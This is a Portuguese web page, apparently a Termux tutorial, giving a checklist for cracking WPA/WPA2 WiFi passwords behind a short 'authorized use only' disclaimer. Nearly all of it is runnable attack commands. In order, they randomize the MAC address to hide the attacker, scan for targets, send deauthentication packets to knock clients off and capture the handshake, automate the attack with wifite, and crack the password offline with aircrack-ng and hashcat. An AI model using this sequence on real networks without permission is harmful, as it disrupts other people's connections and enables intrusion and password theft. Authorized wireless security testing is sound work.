⚠ Uso autorizado/educacional. Executar contra terceiros sem permissão é crime.
Avaliar a segurança de uma rede WiFi própria (ou autorizada) identificando pontos de acesso, capturando handshakes WPA/WPA2 e testando a força da senha. Combina reconhecimento, captura e cracking.
Checklist de pré-requisitos
Marque o que já rodou no seu Termux. Seu progresso fica salvo neste dispositivo.
$ pkg update && pkg upgrade -y$ termux-setup-storageOrdem recomendada e o que cada etapa precisa antes de rodar.
1. Preparação
Anonimizar o MAC e preparar a interface
depende de: —
2. Reconhecimento
Listar redes próximas e identificar o alvo
depende de: #1
3. Captura de Handshake
Capturar o handshake WPA quando um cliente reconectar
depende de: #2
4. Automação (alternativa)
Fazer todo o processo de captura/ataque com um único utilitário
depende de: #1
5. Conversão do .cap para formato hashcat
Converter o handshake capturado para o formato moderno (-m 22000)
depende de: #3
6. Cracking offline
Tentar recuperar a senha do handshake capturado
depende de: #5
1. Preparação
✓ Checagens antes de executar
$ macchanger -r wlan0dica · Sempre anote o MAC original antes de mudar.
2. Reconhecimento
depende de: #1 Preparação
✓ Checagens antes de executar
$ airmon-ng start wlan0$ airodump-ng wlan0mondica · Anote BSSID, canal e clientes conectados ao alvo.
3. Captura de Handshake
depende de: #2 Reconhecimento
✓ Checagens antes de executar
$ airodump-ng -c <canal> --bssid <BSSID> -w captura wlan0mon$ aireplay-ng -0 5 -a <BSSID> -c <CLIENTE> wlan0mon4. Automação (alternativa)
depende de: #1 Preparação
✓ Checagens antes de executar
$ wifite --killdica · Wifite orquestra airodump/aireplay e tenta WPS automaticamente.
5. Conversão do .cap para formato hashcat
depende de: #3 Captura de Handshake
✓ Checagens antes de executar
$ pkg install hcxtools -y$ hcxpcapngtool captura-01.cap -o captura.hc22000dica · Passo obrigatório antes do hashcat: o .cap bruto não é aceito pelo modo -m 22000.
6. Cracking offline
depende de: #5 Conversão do
✓ Checagens antes de executar
$ aircrack-ng captura-01.cap -w wordlist.txt$ hashcat -m 22000 captura.hc22000 wordlist.txt